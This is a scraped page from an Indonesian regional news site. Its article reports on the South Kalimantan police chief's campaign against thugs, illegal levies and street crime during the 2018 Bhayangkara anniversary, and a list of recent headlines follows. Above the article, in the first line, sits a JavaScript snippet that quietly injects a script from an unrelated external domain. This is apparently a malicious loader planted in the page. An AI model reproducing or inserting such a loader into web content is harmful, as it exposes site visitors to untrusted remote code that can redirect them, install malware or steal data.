(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polda Kalsel Gencarkan Perang Lawan Preman yang Resahkan Masyarakat


BANJARMASIN, Maraknya kasus kekerasan dan kriminalitas belakangan ini menjadi perhatian serius Polda Kalsel. Menyikapi hal ini, Kapolda Kalsel Brigjen Rachmat Mulyana mengatakan akan lebih gencar memberangus praktek premanisme di wilayah hukumnya.

Menurut Kapolda, sejak Juni ini pihaknya telah menangkap puluhan preman yang meresahkan masyarakat. “Segera akan kami rilis dalam waktu dekat, para preman-preman hasil operasi cipta kondisi lalu,” kata Brigjen Rachmat Mulyana saat acara syukuran HUT ke-72 Bhayangkara, Rabu (11/7).

Polisi juga terus menangkap aksi pungli dan preman yang meresahkan pengendara di jalan raya. Namun demikian, pemberantasan aksi pungli harus disertai integritas aparat penegak hukum. Maka Kapolda Brigjen Rachmat Mulyana tak segan memberi sanksi tegas terhadap oknum polisi yang kedapatan terlibat pungli.

“Selain pungli, kami mewaspadai aksi kejahatan lainnya yang langsung bersentuhan dengan masyarakat, seperti copet dan begal. Copet, calo, dan begal harus kita bersihkan dari sekarang,” tegasnya.

Polisi, kata Brigjen Rachmat Mulyana, mesti mengantisipasi sedini mungkin potensi konflik horizontal antar kelompok masyarakat. Ia memprioritaskan setiap kepala satuan mengidentifikasi persoalan di wilayah tugas. Upaya ini menjadi perhatiannya pada HUT ke-72 Bhayangkara tahun 2018 ini.

Menurut Rachmat, momentum Hari Bhayangkara sebagai pengingat bagi anggota polisi agar lebih meningkatkan pengabdian dalam menjaga keamanan dan ketertiban masyarakat. “Peringatan Hari Bhayangkara adalah momentum berbenah diri agar menjadi polisi yang senantiasa humanis namun tetap tegas menegakkan hukum dan keadilan,” katanya.

Tantangan yang dihadapi kepolisian semakin berat. Polri dituntut kerja keras di tengah pesatnya perkembangan teknologi dan masifnya penyebaran faham radikal. Selain itu, kejahatan transnasional pun berpotensi terus meningkat. “Untuk itulah anggota Polri harus selalu belajar dan mengembangkan kompetensi agar tidak tertinggal kemajuan teknologi. Polisi juga harus bersikap ramah dan melakukan deteksi dini menangkal faham radikal dan juga melakukan usaha deradikalisasi,” tegas jenderal bintang satu ini. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.